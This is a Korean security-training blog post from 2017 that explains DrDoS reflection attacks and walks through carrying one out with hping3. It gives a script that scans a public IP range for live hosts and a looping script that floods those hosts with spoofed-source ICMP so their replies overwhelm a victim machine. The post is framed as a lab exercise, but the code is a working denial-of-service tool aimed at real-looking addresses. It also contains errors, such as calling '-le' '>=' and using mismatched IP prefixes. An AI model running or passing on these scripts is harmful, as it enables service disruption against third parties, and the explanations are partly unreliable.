부산정보산업진흥원/보안

DoS(Denial of Service) - DrDoS

newind2000 2017. 7. 6. 16:46

[Dos - DrDoS의 개념]

DoS(Denial of Service)는 서비스를 제공하는 서버에 트래픽 양을 증가시켜 서비스가 불가능한 상태로 만드는 것이다.
** 참조 - https://en.wikipedia.org/wiki/Denial-of-service_attack

DoS 공격 방법은 여러가지가 있지만 그 중에서 DrDos에 대해서 알아보자.


DrDos(Distributed Reflection Denial of Service)는 좀비를 사용하여 공격을 시도하는 DDoS(Distributed Denial of Service)와는 달리 공격자가 다른 시스템들의 정보를 도용하여 마치 다른 시스템들이 공격을 시도하는 것처럼 보이도록 유도하여 공격하는 기법이다.

말이 말밥 같으니 실제 공격을 진행하면서 통해 개념을 잡아보도록 하자.


[DrDoS 공격의 실제 feat. ping of death]

준비: VMWARE(Kali 2.0, Ping 공격이 가능한 공격 대상 PC)

수집한 시스템들의 IP정보를 활용하여 공격대상 시스템에 지속적으로 ping을 가할 것이다. 공격 받은 시스템은 자신이 요청하지 않은 ping에 대한 처리 때문에 메모리를 사용하여 시스템이 느려지게 될 것이다. 

공격의 절차는 아래와 같다.

1. 도용할 시스템들의 정보 수집(IP)

2. 공격 


1. 도용할 시스템들의 정보 수집(IP)

스트립트를 사용하여 사용가능한 ip주소를 수집하는 스크립트를 작성해 보자.

[test.sh]

index=65 while [ ${index} -le 255 ]; do echo "218.39.22.$index" hping3 -1 218.39.221.$index -c 1 sleep 3 index=$((index + 1)) done

- 'index'는 IP의 유동적인 부분을 값을 담을 변수

- while 문 안에 '-le'는 조건식 '>=' 을 나타낸다.

- do 아래줄은 while 문 중괄호 안에 있는 조건이 맞을때 수행되는 내용이다.

- 스크립트에서 변수를 표현할때는 '$'기호를 붙혀준다.

- while 문 수행이 끝나는 부분에 'done'을 입력한다.


위의 스크립트를 수행하여 출력되는 부분은 'text.txt'에 담아주고 에러가 발생하는 부분은 제거 하도록 아래의 명령어를 수행한다.

bash test.sh 1>test.txt 2> /dev/null


2. 공격


"test.txt" 파일 안에는 ping을 하고 난 결과 값이 다 들어있다. 우리가 필요한 것은 IP 값임으로 IP를 제외한 나머지 값들은 제거해 주어야 한다.


아래의 스크립트를 사용하여 IP주소만 따로 추출하고, 추출한 주소를 사용하여 ping을 날려 주자.

[DrDos.sh]

while :
do
	for i in `grep len test.txt | cut -d " " -f2 | sed 's/ip=//g'`
	do
	hping3 -1 -a 218.39.221.100  $i --faster -c 100
	done
	
done

- 'cut', 'sed' 명령어에 대한 후행 학습을 요한다.


공격을 받은 PC의 메모리 사용은 증가하고 심한 경우 시스템 사용자체가 힘들어진다.

반응형